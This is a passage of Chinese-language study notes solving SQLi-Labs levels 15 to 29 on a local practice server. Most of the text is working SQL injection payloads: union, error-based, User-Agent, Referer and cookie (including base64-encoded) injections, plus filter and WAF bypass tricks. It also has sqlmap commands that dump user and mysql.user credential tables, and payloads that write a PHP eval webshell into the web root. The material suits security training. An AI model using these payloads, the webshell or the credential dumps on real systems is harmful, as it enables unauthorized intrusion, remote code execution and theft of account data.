uname=a'union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell15.php'--+&passwd=d&submit=Submit

第十六关
post user 字符型")布尔盲注
uname=") or 1=1 -- -
" 闭合原始双引号原始 SQL 中uname = "..."的双引号会包裹用户输入。当输入"时,会提前闭合这个双引号,使后续内容脱离 “字符串包裹”,成为 SQL 语句的一部分。此时拼接后,uname部分变为:uname = "" ...(第一个"闭合原始左引号,剩下的)和or 1=1等成为新的逻辑)。
) 闭合原始查询的括号(若有)部分程序可能对输入做简单处理(如用括号包裹条件),例如原始 SQL 可能是:SELECT * FROM users WHERE (uname = "用户输入的uname" AND passwd = "用户输入的passwd");此时输入)可闭合外层的左括号(,确保后续语法正确。即使原始 SQL 没有括号,多一个)可能被数据库忽略(或通过后续注释处理),不影响核心逻辑
or 1=1 构造恒真条件or是 SQL 的逻辑运算符,1=1是永远为 “真” 的条件。这会让整个WHERE子句的判断结果恒为真 —— 无论用户名和密码是否正确,查询都会返回结果(因为OR只要一个条件为真,整体就为真)。
-- - 注释掉后续语句--是 SQL 的注释符号(后面需跟空格或换行),用于注释掉原始 SQL 中剩余的部分(如AND passwd = "..."),避免这些内容破坏注入逻辑。最后的-是为了确保--后有空格(部分数据库严格要求),相当于-- (注释符号 + 空格)的替代写法
其实看到这里有点没懂 平时都--+ 有点奇怪 在问一下吧
--+ 在 GET 请求中的特殊性
GET 请求的参数通过 URL 传递,而 URL 中空格会被编码为 +(这是 URL 编码的规范,如表单提交的application/x-www-form-urlencoded格式)。-- 是 SQL 的注释符号,但必须紧跟一个空格才能生效(否则数据库可能不识别为注释)。在 GET 请求中:
直接输入 -- (-- 加空格)会被浏览器自动编码为 --%20(%20 是空格的 URL 编码);
而 --+ 中的 + 在 URL 中会被解析为空格,最终等价于 -- ,且输入更方便(无需手动编码)。
URL 编码方式不同
--+ 依赖 URL 中 + 被解析为空格的规则,适用于大多数 Web 服务器(如 Apache、Nginx)和浏览器的默认编码方式。
-- - 中第二个 - 实际是占位符,作用是让 -- 后面有一个非空字符(等价于 -- 中的空格),但不需要依赖 + 的编码
数据库兼容性大多数数据库(MySQL、SQL Server 等)对 -- 后的空格要求并不严格,只要 -- 后有任意非字母数字字符(如 -、空格、= 等),都会识别为注释。因此:
--+(解析为 -- )和 -- -(-- 后接 -)在多数数据库中等效。
但部分严格遵循 SQL 标准的数据库(如 PostgreSQL)可能要求 -- 后必须是空格,此时 --+(解析为空格)更可靠,而 -- - 可能因 - 不是空格而导致注释失效(极少情况
其他常见注释符号(补充)
除了 --+ 和 -- -,GET 请求中还可能用到:
#:MySQL 特有的注释符号(URL 中需编码为 %23),例如 id=1' # 编码后为 id=1'%23,拼接后注释后续内容。
/*...*/:多行注释(适用于多数数据库),例如 id=1' /*comment*/,但在 GET 请求中较少用(不如 --+ 简洁)。
总结就是 两种请求方式不同 --+ get请求 +url编码后空格 -- — post请求 最后一个—确保倒数第二个—后有一个空格 占位符
这个和上面一样吧 用sqlmap
注意 如果不加--level 5 sqlmap弄不出来
数据库名
└─$ sqlmap -u "http://192.168.152.129:88/Less-16/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" --dbs --thread 5 --batch --level 5
security库 所有表
sqlmap -u "http://192.168.152.129:88/Less-16/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D security --tables --thread 5 --batch --level 5
列
sqlmap -u "http://192.168.152.129:88/Less-16/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D security -T users --columns --thread 5 --batch --level 5
数据
sqlmap -u "http://192.168.152.129:88/Less-16/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D security -T users -C "username,password" --dump --thread 5 --batch --level 5
数据库登录用户名密码
sqlmap -u "http://192.168.152.129:88/Less-16/?id=1" --data "uname=d&passwd=d&submit=Submit" -p "uname,passwd" -D mysql -T users -C "user,authentication_string" --dump --thread 5 --batch --level 5
写木马
uname=a")union select 1,'<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell16.php'--+&passwd=d&submit=Submit

第十七关
post passwd 字符型'报错注入

uname=&passwd=&submit=Submit
根据页面提示 这是一个修改账号密码的页面
uname参数只有输入正确账号名才行 可以尝试注入passwd

数据库名
uname=Dumb&passwd=1' or updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -submit=Submit

security库所有表 只能一个表一个表名查
uname=Dumb&passwd=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- -submit=Submit
uname=Dumb&passwd=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1) -- -submit=Submit
uname=Dumb&passwd=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1),0x7e),1) -- -submit=Submit
uname=Dumb&passwd=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1) -- -submit=Submit

users表所有列
uname=Dumb&passwd=' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),1,31),0x7e),1) -- -submit=Submit

数据
uname=Dumb&passwd=' or updatexml(1,concat(0x7e,substr((select group_concat(username,password) from security.users ),1,31),0x7e),1) -- -submit=Submit
报错提示 看样子这句子是不行啊
You can't specify target table 'users' for update in FROM clause
错误的核心原因是:MySQL 不允许在 UPDATE / DELETE 语句的 WHERE 子句中,直接引用要修改 / 删除的目标表(避免更新时读取同一张表,导致数据不一致或死锁)。

注意 这里必须用临时表来查询绕过mysql机制
uname=Dumb&passwd=' or updatexml(1,concat(0x7e,substr((select group_concat(username,'^^',password) from (select * from users) as temp limit 0,1 ),1,31),0x7e),1) -- -submit=Submit

数据库登录账号密码
uname=Dumb&passwd=' or updatexml(1,concat(0x7e,substr((select group_concat(user,authentication_string) from mysql.user),1,31),0x7e),1) -- -submit=Submit

这里写木马出现一些错误 着么弄都不行
第十八关
user-agent 报错注入
页面显示 非常明显 http头注入
User-Agent SQL 注入漏洞的根本原因,在于后端应用程序将 HTTP 请求头中的 User-Agent 字段值,直接拼接进了 SQL 查询语句中,而没有进行任何有效的验证或参数化处理。
Your IP ADDRESS is: 192.168.152.12
Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0
源码sql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

数据库
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.361',1,updatexml(1,concat(0x5e,database()),1))#

表
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.361',1,updatexml(1,concat(0x5e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1))#
sql注入后 字段数能对的上sql插入语句
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.3611',1,updatexml(1,concat(0x5e,database()),1))#, '$IP', $uname)

字段
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.361',1,updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')),1))#

数据
1',1,updatexml(1,concat(0x5e,(select group_concat(password) from users)),1))#

数据库登录密码
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.361',1,updatexml(1,concat('!',(select group_concat(user,authentication_string) from mysql.user)),1))#

第十九关
referer报错注入
referer注入
后端插入语句
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
建议 每次构造注入语句时 先看下后端代码 不然会不之所以然

数据库
Referer: http://192.168.152.129:88/Less-19/?id=1',updatexml(1,concat('!',(select database())),1))#

security库表
Referer: http://192.168.152.129:88/Less-19/?id=1',updatexml(1,concat('!',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1))#

列
Referer: http://192.168.152.129:88/Less-19/?id=1',updatexml(1,concat('!',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1))#

数据
Referer: http://192.168.152.129:88/Less-19/?id=1',updatexml(1,concat('!',(select group_concat(username,password) from security.users)),1))#

数据库登录账号密码
Referer: http://192.168.152.129:88/Less-19/?id=1',updatexml(1,concat('!',(select group_concat(user,authentication_string) from mysql.user)),1))#

第二十关
cookie联合查询注入
登陆后抓包 发现携带cookie数据
Cookie: uname=Dumb'# 不报错 闭合正确 说不定能注入

Cookie: uname=Dumb'order by 3#
Cookie: uname=Dumb'order by 4#
Cookie: uname=Dumb' union select 1,2,3#



数据库版本 库名
Cookie: uname=' union select 1,database(),version()#

security 库所有表
Cookie: uname=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

users 表所有列
Cookie: uname=' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

数据
Cookie: uname=' union select 1,2,group_concat(username,password) from security.users #

数据库登录密码账号
Cookie: uname=' union select 1,2,group_concat(user,authentication_string) from mysql.user #

这里我们用sqlmap针对cookie跑一下
sqlmap -u http://192.168.152.129:88/Less-20/ --dbs --level 5 --cookie='uname=1' --thread 5

第二十一关
base64 ')闭合cookie注入
Cookie: uname=RHVtYg%3D%3D
这一关的cookie用了base64加密 用decoder模块解密
也就是cookie必须base64编码后发包

将 Dumb' 用decoder模块编码发包

这里可以看出来 闭合 ('')
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMiwzIw==

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsdXNlcigpLHZlcnNpb24oKSM=

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCkj

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpIw==

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3VzZXJzJyM=

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMj

Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcixhdXRoZW50aWNhdGlvbl9zdHJpbmcpIGZyb20gbXlzcWwudXNlciM=

第二十二关
base64 "闭合cookie注入
Cookie: uname=Igl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkj

cookie:uname=IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSAgdGFibGVfbmFtZT0ndXNlcnMnIGFuZCB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSM=

cookie:uname=IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh1c2VybmFtZSxwYXNzd29yZCkgZnJvbSBzZWN1cml0eS51c2VycyM=

Cookie: uname=IgkgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodXNlcixhdXRoZW50aWNhdGlvbl9zdHJpbmcpIGZyb20gbXlzcWwudXNlciM=

第二十三关
过滤# --联合查询注入
源码中使用了 preg_replace()函数过滤 id 参数中出现的 # 和 --字符 注入过程中避开注释就可以了
http://192.168.152.129:88/Less-23/?id='union select 1,2,3 '

http://192.168.152.129:88/Less-23/?id='union select 1,database(),3 '

http://192.168.152.129:88/Less-23/?id='union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' '

http://192.168.152.129:88/Less-23/?id='union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' '

这个payload不可用不知道为什么
http://192.168.152.129:88/Less-23/?id=' union select 1,group_concat(username,password),3 from security.users'
后端执行
$sql="SELECT * FROM users WHERE id='' union select 1,group_concat(username,password),3 from security.users'' LIMIT 0,1";
这个可以
http://192.168.152.129:88/Less-23/?id=99' union select 1,group_concat(concat_ws(':',username,password)),3 from users where '1' = '1
后端执行
$sql="SELECT * FROM users WHERE id='99' union select 1,group_concat(concat_ws(':',username,password)),3 from users where '1' = '1' LIMIT 0,1";

第二十四关
二次注入
登录进来 这是个修改密码的页面

大概说一下 原用户名 Dumb 我们新建Dumb'# 用户 登录后 修改Dumb'# 密码 实际上修改的是Dumb的密码
其实 就是 ' 起到闭合作用 # 注释掉判断条件语句
原理:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
当输入admin'#时:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";
sql语句就变成了:
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#
原账号:Dumb 密码:1
新账号:Dumb'# 密码:123
登录Dumb'# 后 修改该账号密码 发现 Dumb密码被修改了 就可以登录Dumb了
第二十五关
and or 绕过 字符型双写注入
http://192.168.152.129:88/Less-25/?id=' union select 1,2,3--+
http://192.168.152.129:88/Less-25/?id=' union select 1,database(),version()--+
http://192.168.152.129:88/Less-25/?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+

http://192.168.152.129:88/Less-25/?id=' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users'--+

http://192.168.152.129:88/Less-25/?id=' union select 1,2,group_concat(username,passwoorrd) from security.users--+

http://192.168.152.129:88/Less-25/?id=' union select 1,2,group_concat(user,authentication_string) from mysql.user--+

第25a关
and or 绕过 数字型双写注入
http://192.168.152.129:88/Less-25a/?id=-1 union select 1,2,3--+
http://192.168.152.129:88/Less-25a/?id=-1 union select 1,database(),version()--+
http://192.168.152.129:88/Less-25a?id=-1 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
http://192.168.152.129:88/Less-25a/?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() aandnd table_name='users'--+
http://192.168.152.129:88/Less-25a/?id=-1 union select 1,2,group_concat(username,passwoorrd) from security.users--+
http://192.168.152.129:88/Less-25a/?id=-1 union select 1,2,group_concat(user,authentication_string) from mysql.user--+

第二十六关
注释and or 空格过滤 ()报错注入
过滤了
关键字 and or
注释 /* -- #
所有的空白字符,包括空格、制表符(tab %09)、换行符(\n,即 %0a \s
斜杠 / \
绕过方法
()代替空格
使用 “||” 替代 “or”,使用 “%26%26” 替代 “and”。

很明显 报错注入
http://192.168.152.129:88/Less-26/?id=-1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1

http://192.168.152.129:88/Less-26/?id=-1'||updatexml(1,concat(0x7e,substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where (table_schema='security')),1,31),0x7e),1)||'1'='1

http://192.168.152.129:88/Less-26/?id=-1'||updatexml(1,concat(0x7e,substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where (table_schema='security'%26%26table_name='users')),1,31),0x7e),1)||'1'='1

http://192.168.152.129:88/Less-26/?id=1'||updatexml(1,concat(0x7e,substr((select(group_concat(username,passwoorrd))from(security.users)),1,31),0x7e),1)||'1'='1

http://192.168.152.129:88/Less-26/?id=1'||updatexml(1,concat(0x7e,substr((select(group_concat(user,authentication_string))from(mysql.user)),1,31),0x7e),1)||'1'='1

第26a关
注释and or 空格过滤 过滤 union查询注入
闭合('')
和26关一样的过滤 一样的绕过方式 从报错注入变为联合查询注入
http://192.168.152.129:88/Less-26a/?id=')%0bunion%0bselect%0b1,database(),3%0b||'1'=('1

http://192.168.152.129:88/Less-26a/?id=')%0bunion%0bselect%0b1,2,group_concat(table_name)%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema='security'%26%26'1'=('1

http://192.168.152.129:88/Less-26a/?id=')%0bunion%0bselect%0b1,2,group_concat(column_name)%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_schema='security'%26%26table_name='users'%26%26'1'=('1

http://192.168.152.129:88/Less-26a/?id=')%0bunion%0bselect%0b1,group_concat(passwoorrd,0x7e,username),3%0bfrom%0bsecurity.users%0bwhere%0b1=('1

http://192.168.152.129:88/Less-26a/?id=')%0bunion%0bselect%0b1,group_concat(user,authentication_string),3%0bfrom%0bmysql.user%0bwhere%0b1=('1

第二十七关
过滤空格select union形式 大小混写
过滤了:
所有注释符
空格
关键字 select、union 以及全大写形式,开头大写形式
绕过思路:
这里只过滤的 空格,所以可以使用制表符 %0a或其他空白符绕过
随机大小写转换形式,比如 SeLect UnIOn,这是匹配不到的,但是 sql 执行时不区分大小写
http://192.168.152.129:88/Less-27/?id='%0buNion%0bsElect%0b1,database(),3%0b||'1'='1
http://192.168.152.129:88/Less-27/?id='%0buNion%0bsElect%0b1,2,group_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%26%26'1'='1
http://192.168.152.129:88/Less-27/?id='%0buNion%0bsElect%0b1,2,group_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%26%26table_name='users'%26%26'1'='1
http://192.168.152.129:88/Less-27/?id='%0buNion%0bsElect%0b1,group_concat(password,0x7e,username),3%0bfrom%0bsecurity.users%0bwhere%0b'1'='1
http://192.168.152.129:88/Less-27/?id=0'%0bunIOn%0bselEct%0b1,group_concat(user,authentication_string),3%0bfrom%0bmysql.user%0bwhere%0b'1'='1





第27a关
过滤空格select union形式 大小混写 ""闭合
http://192.168.152.129:88/Less-27a/?id="%0buNion%0bsElect%0b1,database(),3%0b||"1"="1
http://192.168.152.129:88/Less-27a/?id="%0buNion%0bsElect%0b1,2,group_concat(table_name)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='security'%26%26"1"="1
http://192.168.152.129:88/Less-27a/?id="%0buNion%0bsElect%0b1,2,group_concat(column_name)%0bfrom%0binformation_schema.columns%0bwhere%0btable_schema='security'%26%26table_name='users'%26%26"1"="1
http://192.168.152.129:88/Less-27a/?id="%0buNion%0bsElect%0b1,group_concat(password,0x7e,username),3%0bfrom%0bsecurity.users%0bwhere%0b"1"="1
http://192.168.152.129:88/Less-27a/?id=0"%0bunIOn%0bselEct%0b1,group_concat(user,authentication_string),3%0bfrom%0bmysql.user%0bwhere%0b"1"="1





第二十八关
双写绕过select union
select union 大小混写不能绕过 使用双写
注意这一关 '%0b' 不再能有效替代空格
http://192.168.152.129:88/Less-28/?id=')uniounion%0dselectn%0dselect(1),(2),(3)||('1')=('1
http://192.168.152.129:88/Less-28/?id=')uniounion%0dselectn%0dselect(1),database(),(3)||('1')=('1
http://192.168.152.129:88/Less-28/?id=')uniounion%0dselectn%0dselect(1),(3),group
_concat(table_name)%0dfrom%0dinformation_schema.tables%0dwhere%0dtable_schema='security'||('1')=('4
http://192.168.152.129:88/Less-28/?id=')uniounion%0dselectn%0dselect(1),(3),group
_concat(column_name)%0dfrom%0dinformation_schema.columns%0dwhere%0dtable_schema='security'%26%26table_name='users'||('1')=('4
http://192.168.152.129:88/Less-28/?id=')uniounion%0dselectn%0dselect(1),(3),group
_concat(username,password)%0dfrom%0dsecurity.users%0dwhere%0d('1')=('1
http://192.168.152.129:88/Less-28/?id=')uniounion%0dselectn%0dselect(1),(3),group
_concat(user,authentication_string)%0dfrom%0dmysql.user%0dwhere%0d('1')=('1






第28a关
只对select union过滤
后端过滤部分代码
function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
//$id= preg_replace('/[--]/',"", $id); //Strip out --.
//$id= preg_replace('/[#]/',"", $id); //Strip out #.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out spaces.
return $id;
}
其他形式过滤都注释掉了 只对select union 正则过滤 上一关的payload可以直接用
http://192.168.152.129:88/Less-28a/?id=')uniounion%0dselectn%0dselect(1),(2),(3)||('1')=('1
http://192.168.152.129:88/Less-28a/?id=')uniounion%0dselectn%0dselect(1),database(),(3)||('1')=('1
http://192.168.152.129:88/Less-28a/?id=')uniounion%0dselectn%0dselect(1),(3),group
_concat(table_name)%0dfrom%0dinformation_schema.tables%0dwhere%0dtable_schema='security'||('1')=('4
http://192.168.152.129:88/Less-28a/?id=')uniounion%0dselectn%0dselect(1),(3),group
_concat(column_name)%0dfrom%0dinformation_schema.columns%0dwhere%0dtable_schema='security'%26%26table_name='users'||('1')=('4
http://192.168.152.129:88/Less-28a/?id=')uniounion%0dselectn%0dselect(1),(3),group
_concat(username,password)%0dfrom%0dsecurity.users%0dwhere%0d('1')=('1
http://192.168.152.129:88/Less-28a/?id=')uniounion%0dselectn%0dselect(1),(3),group
_concat(user,authentication_string)%0dfrom%0dmysql.user%0dwhere%0d('1')=('1






第二十九关
弱waf http参数污染 第二参数''闭合
需要配置双服务器
这一关网上大多数教程都是没有配置apache tomcat双服务器的环境 没有达到真实waf效果 可以直接在第一个参数注入 体现不出http参数污染 我来演示
http://192.168.152.129:88/Less-29/?id=-1' union select 1,2,3--+
这是对第二十九关的注入 发现没有对参数做任何防御

第一步 下载jspstudy
https://www.xp.cn/phpstudy

第二步 启动tomcat 关闭apache 因为原phpstudy没修改默认80端口的话 会端口冲突 修改了就不管没关系

找文件 tomcat-files.zip 解压放到tomcat默认根目录下
在原php网站根目录下 我的路径是C:\phpStudy_64\phpstudy_pro\WWW\sqlibs
最终我的tomcat部署的第二十九关url
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-29/index.jsp?id=2



注意
原github下载来的这个源代码有点问题 我弄好后的两个文件代码如下
index.jsp
需要修改处 填上原php页面url 记得不是ip 而是localhost
URL sqliLabsUrl = new URL("?" + (qs != null ? qs : ""));
URL sqliLabsUrl = new URL("");
我的:
URL sqliLabsUrl = new URL("http://localhost:88/Less-29/index.php?" + (qs != null ? qs : ""));
URL sqliLabsUrl = new URL("http://localhost:88/Less-29/index.php");
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd" >
<%@ page language="java" contentType="text/html; charset=utf-8" pageEncoding="utf-8"%>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLConnection" %>
<HTML>
<HEAD>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<TITLE>Less-29 WAF PROTECT</TITLE>
</HEAD>
<body bgcolor="#000000">
<%
// 1. 获取请求参数
String id = request.getParameter("id");
String qs = request.getQueryString(); // 获取完整查询字符串(如 ?id=1&name=test)
// 2. 处理 id 参数不为 null 的情况
if (id != null && !id.trim().isEmpty()) { // 优化:增加 trim() 避免空字符串绕过
try {
// 核心防护:正则表达式验证 id 仅为纯数字(1个及以上数字)
String rex = "^\\d+$";
boolean match = id.matches(rex);
if (match) {
// 验证通过:转发请求到后端的 index.php(模拟真实业务场景)
// 注意:需确保后端 PHP 服务(如 Apache+PHP)运行在 localhost:88
URL sqliLabsUrl = new URL("http://localhost:88/Less-29/index.php?" + (qs != null ? qs : ""));
URLConnection connection = sqliLabsUrl.openConnection();
// 设置请求头(模拟浏览器访问,避免后端拒绝)
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
connection.setConnectTimeout(5000); // 连接超时时间:5秒
connection.setReadTimeout(5000); // 读取超时时间:5秒
// 读取后端响应并输出到前端
try (BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"))) {
String inputLine;
while ((inputLine = in.readLine()) != null) {
out.print(inputLine); // 原样输出后端页面内容
}
}
} else {
// 验证失败:重定向到黑客提示页面(拦截注入)
response.sendRedirect("hacked.jsp");
}
} catch (Exception ex) {
// 异常处理:避免暴露敏感信息,仅提示通用错误
out.print("<font color='#FFFF00'>");
out.println("系统异常,请稍后重试!"); // 优化:隐藏具体异常堆栈
out.print("</font>");
// 可选:将异常日志写入服务器日志(便于排查)
ex.printStackTrace();
}
} else {
// 3. 处理 id 参数为 null 或空的情况:直接访问后端首页
try {
URL sqliLabsUrl = new URL("http://localhost:88/Less-29/index.php");
URLConnection connection = sqliLabsUrl.openConnection();
// 同样设置请求头和超时时间
connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36");
connection.setConnectTimeout(5000);
connection.setReadTimeout(5000);
// 读取并输出后端首页内容
try (BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream(), "utf-8"))) {
String inputLine;
while ((inputLine = in.readLine()) != null) {
out.print(inputLine);
}
}
} catch (Exception ex) {
out.print("<font color='#FFFF00'>");
out.println("系统异常,请稍后重试!");
out.print("</font>");
ex.printStackTrace();
}
}
%>
<!-- 页面底部装饰(保持与原 SQLi Labs 风格一致) -->
</font> </div><center>
<font size='4' color="#33FFFF">
<br><br><br><br>
</font>
<font size='3' color='#99FF00'>
SQLi Labs Less-29 (Tomcat WAF Protect)
</font>
</center>
</BODY>
</HTML>
hacked.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<TITLE>Access Denied - Less-29</TITLE>
<style>
body {
background-color: #000000;
color: #FFFFFF;
font-family: 'Courier New', Courier, monospace;
text-align: center;
padding-top: 50px;
}
.warning-container {
max-width: 800px;
margin: 0 auto;
border: 2px solid #FF0000;
padding: 30px;
border-radius: 10px;
background-color: #1a1a1a;
}
h1 {
color: #FF0000;
font-size: 4em;
margin-bottom: 20px;
}
.warning-message {
font-size: 1.2em;
line-height: 1.6;
margin-bottom: 30px;
}
.image-container {
margin: 20px 0;
}
.image-container img {
max-width: 100%;
height: auto;
border: none;
}
.back-link {
display: inline-block;
padding: 10px 20px;
background-color: #333333;
color: #00FF00;
text-decoration: none;
font-size: 1.2em;
border: 1px solid #00FF00;
border-radius: 5px;
transition: background-color 0.3s, color 0.3s;
}
.back-link:hover {
background-color: #00FF00;
color: #000000;
}
.waf-badge {
margin-top: 40px;
opacity: 0.7;
}
</style>
</head>
<body>
<div class="warning-container">
<h1>⚠️ HACKED ⚠️</h1>
<div class="image-container">
<img src="../images/slap1.jpg" alt="Access Denied">
</div>
<div class="warning-message">
<p>Your request has been blocked by the Web Application Firewall (WAF).</p>
<p>The <strong>'id'</strong> parameter only accepts numeric values.</p>
<p>Any attempt to inject malicious code will be logged and reported.</p>
</div>
<a href="index.jsp" class="back-link">Go Back and Try again</a>
</div>
<div class="image-container waf-badge">
<img src="../images/waf.jpg" alt="WAF Protected">
</div>
</body>
</html>
来看效果 对第一个参数防御 waf拦截 两个参数时对第二个参数注入成攻
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-29/index.jsp?id=2'
http://192.168.152.129:8080/tomcat-files/sqli-labs/Less-29/index.jsp?id=1&id=-1' union select 1,2,3--+


原理
服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache 为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。
工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。
接下来是参数解析的问题。
问:index.php?id=1&id=2,这时回显是id=1还是id=2呢?
答:apache (php) 解析最后一个参数,即回显id=2;tomcat (jsp) 解析第
一个参数,即回显id=1
这里有一个新问题。
问:index.jsp?id=1&id=2,针对这关的两层结构,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 请求 apache,apache 解析最后一个参数。那么最终返回客户端的是哪个参数?
答:此处应该还是id=2,因为实际上提供服务的是 apache 服务器,返回的数据也应该是 apache 处理的数据。
而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一个 WAF。
而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。如 payload:index.jsp?id=1&id=0 or 1=1--+,tomcat 只检查第一个参数id=1,而对第二个参数id=0 or 1=1--+不做检查,直接传给了 apache,apache 恰好解析第二个参数,便达到了攻击的目的。
